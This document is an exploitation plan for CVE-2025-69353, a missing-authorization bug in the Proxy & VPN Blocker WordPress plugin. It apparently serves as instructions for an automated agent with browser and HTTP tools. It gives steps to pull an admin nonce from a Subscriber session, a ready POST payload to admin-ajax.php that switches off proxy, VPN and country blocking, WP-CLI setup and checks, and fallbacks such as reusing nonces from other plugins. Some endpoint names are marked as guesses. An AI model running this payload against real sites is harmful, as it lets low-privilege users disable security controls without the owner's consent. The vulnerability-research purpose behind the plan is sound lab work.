Proxy & VPN Blocker <= 3.5.3 - Missing Authorization

This research plan targets CVE-2025-69353, a missing authorization vulnerability in the Proxy & VPN Blocker plugin. This vulnerability allows an authenticated user with Subscriber-level permissions to perform administrative actions, such as modifying the plugin's security settings.

---

1. Vulnerability Summary

The Proxy & VPN Blocker plugin fails to implement proper capability checks (e.g., current_user_can( 'manage_options' )) in one or more of its AJAX handlers. While the plugin likely uses nonces to prevent Cross-Site Request Forgery (CSRF), it does not verify that the user performing the request has the necessary administrative privileges. Consequently, any logged-in user, including a Subscriber, can invoke these functions to alter the plugin's configuration.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action: pvb_save_settings (inferred based on plugin functionality; to be verified during exploration).
• HTTP Method: POST
• Payload Parameter: security (nonce), action, and various configuration parameters (e.g., pvb_proxy_check, pvb_vpn_check).
• Authentication: Authenticated, Subscriber-level access.
• Preconditions: The plugin must be active. The attacker must have a valid Subscriber session.

3. Code Flow

1. Entry Point: An AJAX request is sent to admin-ajax.php with the action pvb_save_settings.
2. Hook Registration: The plugin registers the action via:
   add_action( 'wp_ajax_pvb_save_settings', 'pvb_save_settings_callback' ); (inferred).
3. Vulnerable Callback: The function (e.g., pvb_save_settings_callback) is executed.
4. Security Check (Nonce): The code calls check_ajax_referer( 'pvb_nonce', 'security' );.
5. Missing Authorization: The code omits a check like if ( ! current_user_can( 'manage_options' ) ) wp_die();.
6. Sink: The function proceeds to update the WordPress options table using update_option(), allowing the attacker to disable the blocker or modify whitelists.

4. Nonce Acquisition Strategy

To exploit this, we need the nonce generated by the plugin for administrative actions. Even if a Subscriber cannot access the "Proxy & VPN Blocker" settings page directly, WordPress plugins often localize nonces on the main dashboard or all admin pages.

1. Identify Localization: Look for wp_localize_script in the plugin code to find the JS object name and nonce key.
   • Search Pattern: grep -r "wp_localize_script" .
   • Likely Variable: pvb_admin_obj or pvb_vars.
   • Likely Key: pvb_nonce or security.
2. Create a Subscriber User: Use WP-CLI to create a test subscriber.
3. Extract Nonce via Browser:
   • Log into the WordPress dashboard as the Subscriber.
   • Use browser_eval to extract the nonce from the global scope.
   • JS Command: browser_eval("window.pvb_admin_obj?.security") (Verify variable name from source).

5. Exploitation Strategy

Step 1: Discovery & Verification

First, confirm the exact AJAX action and nonce identifier.

1. Run grep -rn "wp_ajax_" . to find the registered AJAX actions.
2. Inspect the callback function to confirm it lacks current_user_can.
3. Identify the parameter names for the settings (e.g., proxy_check, vpn_check).

Step 2: Payload Construction

Construct a POST request to admin-ajax.php to disable the blocking features.

Request Details:

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=pvb_save_settings&security=<NONCE>&pvb_proxy_check=0&pvb_vpn_check=0&pvb_block_countries=
  

Step 3: Execution

Use the http_request tool to send the payload using the Subscriber's cookies.

6. Test Data Setup

1. Install Plugin: Ensure Proxy & VPN Blocker <= 3.5.3 is installed.
2. Configure Plugin: Set the blocker to "Active" so we can verify it gets disabled.
   • wp option update pvb_proxy_check 1
3. Create Attacker:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123

7. Expected Results

• The server should return a 200 OK response, often with a JSON body like {"success":true}.
• The plugin's configuration in the database should be updated to reflect the attacker's payload.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the option was changed.
   • wp option get pvb_proxy_check (Should return 0).
2. UI Check: Navigate to the plugin settings as an Admin to see if the toggles are now "Off".

9. Alternative Approaches

• If pvb_save_settings is not the correct action: Search for any function calling update_option or delete_option within an AJAX callback.
• Check for admin_init hooks: Sometimes plugins process form submissions via admin_init without checking capabilities.
  • Search Pattern: grep -rn "add_action.*admin_init" .
• Nonce Bypass: If the nonce action is generic (e.g., -1), attempt to use a nonce from a different plugin or core WordPress feature.